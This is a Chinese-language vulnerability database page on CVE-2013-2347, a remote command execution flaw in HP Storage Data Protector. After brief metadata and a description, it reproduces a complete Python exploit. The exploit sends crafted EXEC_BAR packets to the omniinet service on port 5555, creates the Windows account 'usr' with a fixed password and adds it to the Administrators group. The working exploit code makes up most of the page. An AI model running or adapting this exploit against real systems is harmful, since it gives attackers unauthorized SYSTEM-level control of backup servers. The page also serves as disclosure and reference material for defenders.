HP Storage Data Protector 安全漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1122094 漏洞类型
发布时间 2014-02-16 更新时间 2019-10-17
CVE编号 CVE-2013-2347 CNNVD-ID CNNVD-201401-044
漏洞平台 Windows CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/31689
https://cxsecurity.com/issue/WLB-2014030052
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201401-044
|漏洞详情
HP Storage Data Protector是美国惠普(HP)公司的一套可扩展的数据管理解决方案。该方案能够实现基于磁盘或磁带的高性能备份和恢复功能,并确保全天候业务连续性和IT资源的最大化。 HP Storage Data Protector 6.2X版本中存在安全漏洞。远程攻击者可利用该漏洞执行任意代码或造成拒绝服务。
|漏洞EXP
import argparse
import socket

"""
Exploit Title: HP Data Protector EXEC_BAR Remote Command Execution
Exploit Author: Chris Graham @cgrahamseven
CVE: CVE-2013-2347
Date: February 14, 2014
Vendor Homepage: www.hp.com
Version: 6.10, 6.11, 6.20 
Tested On: Windows Server 2003, Windows Server 2008 R2
References: 
https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03822422
http://www.zerodayinitiative.com/advisories/ZDI-14-008/
Details:

The omniinet service, which runs by default on port 5555, is susceptible
to numerous remotely exploitable vulnerabilities. By sending a malicious
EXEC_BAR packet (opcode 11), a remote attacker can force the omniinet
service to run an arbitrary command. On Windows, the omniinet service is
running as SYSTEM. This allows for complete compromise of the remote
host. 

To exploit this vulnerability, you only need to send two specific arguments. 
Omniinet has an argument parser that will extract these out and 
eventually pass them to a call to CreateProcessW via the lpCommandLine 
parameter. 

When a packet is sent to the omniinet service, it will check the opcode
and look up an associated function to call based on the opcode in a table
of function pointers. The function to handle EXEC_BAR packets requires that
the packet contain at least 19 arguments. The 18th argument will be the
command we want to execute, and the 19th will be an argument we can pass to 
the command we are executing. This exploit will create a new windows account 
and add it to the local Administrators group. This means that lpCommandLine 
that gets passed to CreateProcess will need to look like:

'c:\windows\system32\cmd.exe' '/c net user usr p@ss!23 /add'
and
'c:\windows\system32\cmd.exe' '/c net localgroup Administrators usr /add'

Note: The 19th value has size constraints so it needs to be as short of a 
string as possible. 
"""

exec_bar_add_user = \
"\x00\x00\x01\x3c\xff\xfe\x32\x00\x00\x00\x20\x00\x68\x00\x70\x00" + \
"\x64\x00\x70\x00\x31\x00\x00\x00\x20\x00\x30\x00\x00\x00\x20\x00" + \
"\x00\x00\x20\x00\x00\x00\x20\x00\x45\x00\x4e\x00\x55\x00\x00\x00" + \
"\x20\x00\x31\x00\x31\x00\x00\x00\x20\x00\x45\x00\x58\x00\x45\x00" + \
"\x43\x00\x5f\x00\x42\x00\x41\x00\x52\x00\x00\x00\x20\x00\x41\x00" + \
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00" + \
"\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00" + \
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00" + \
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00" + \
"\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00" + \
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00" + \
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00" + \
"\x41\x00\x00\x00\x20\x00\x63\x00\x3a\x00\x5c\x00\x77\x00\x69\x00" + \
"\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x5c\x00\x73\x00\x79\x00" + \
"\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x63\x00" + \
"\x6d\x00\x64\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00\x20\x00" + \
"\x00\x00\x20\x00\x2f\x00\x63\x00\x20\x00\x6e\x00\x65\x00\x74\x00" + \
"\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x75\x00\x73\x00" + \
"\x72\x00\x20\x00\x70\x00\x40\x00\x73\x00\x73\x00\x21\x00\x32\x00" + \
"\x33\x00\x20\x00\x2f\x00\x61\x00\x64\x00\x64\x00\x00\x00\x00\x00"

exec_bar_make_admin = \
"\x00\x00\x01\x56\xff\xfe\x32\x00\x00\x00\x20\x00\x68\x00\x70\x00" + \
"\x64\x00\x70\x00\x31\x00\x00\x00\x20\x00\x30\x00\x00\x00\x20\x00" + \
"\x00\x00\x20\x00\x00\x00\x20\x00\x45\x00\x4e\x00\x55\x00\x00\x00" + \
"\x20\x00\x31\x00\x31\x00\x00\x00\x20\x00\x45\x00\x58\x00\x45\x00" + \
"\x43\x00\x5f\x00\x42\x00\x41\x00\x52\x00\x00\x00\x20\x00\x41\x00" + \
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00" + \
"\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00" + \
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00" + \
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00" + \
"\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00" + \
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00" + \
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00" + \
"\x41\x00\x00\x00\x20\x00\x63\x00\x3a\x00\x5c\x00\x77\x00\x69\x00" + \
"\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x5c\x00\x73\x00\x79\x00" + \
"\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x63\x00" + \
"\x6d\x00\x64\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00\x20\x00" + \
"\x00\x00\x20\x00\x2f\x00\x63\x00\x20\x00\x6e\x00\x65\x00\x74\x00" + \
"\x20\x00\x6c\x00\x6f\x00\x63\x00\x61\x00\x6c\x00\x67\x00\x72\x00" + \
"\x6f\x00\x75\x00\x70\x00\x20\x00\x41\x00\x64\x00\x6d\x00\x69\x00" + \
"\x6e\x00\x69\x00\x73\x00\x74\x00\x72\x00\x61\x00\x74\x00\x6f\x00" + \
"\x72\x00\x73\x00\x20\x00\x75\x00\x73\x00\x72\x00\x20\x00\x2f\x00" + \
"\x61\x00\x64\x00\x64\x00\x00\x00\x00\x00"

def connect_target(target, port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    except socket.error as err:
        print "[-]ERROR CREATING SOCKET! CODE: %d MSG: %s" % (err[0], err[1]) 
        return -1
    try:
        sock.connect((target, port))
    except socket.error as err:
        print "[-]ERROR CONNECTING TO TARGET! CODE: %d MSG: %s" % (err[0], err[1])
        return -1
    return sock

def send_recv_packet(sock, packet):
    sock.sendall(packet)
    res = sock.recv(4096)
    return res

cmdline_parser = argparse.ArgumentParser(description='HP Data Protector EXEC_BAR Remote Command Execution')
cmdline_parser.add_argument('-t', dest='ip', help='Target host ip', required=True)
cmdline_parser.add_argument('-p', dest='port', help='Target port', default=5555, type=int, required=False)
args = cmdline_parser.parse_args()

print "\n[*]ATTEMPING TO ADD WINDOWS ADMINISTRATOR ACCOUNT usr WITH PASSWORD p@ss!23"
for packet in [exec_bar_add_user, exec_bar_make_admin]:
    target = connect_target(args.ip, args.port)
    if target == -1: exit()
    data = send_recv_packet(target, packet)
    print "[*]SERVER RESPONSE: " + \
    data.split("\xFF\xFE\x31\x00\x35\x00\x00\x00\x20\x00")[1].lstrip("\x07\x00\x01\x00").rstrip("$")
    target.close()
|参考资料

来源:HP
名称:SSRT101253
链接:http://h20565.www2.hp.com/portal/site/hpsc/template.PAGE/public/kb/docDisplay/?docId=emr_na-c03822422
来源:HP
名称:HPSBMU02895
链接:http://h20565.www2.hp.com/portal/site/hpsc/template.PAGE/public/kb/docDisplay/?docId=emr_na-c03822422
来源:HP
名称:SSRT101220
链接:http://h20565.www2.hp.com/portal/site/hpsc/template.PAGE/public/kb/docDisplay/?docId=emr_na-c03822422
来源:SECUNIA
名称:56280
链接:http://secunia.com/advisories/56280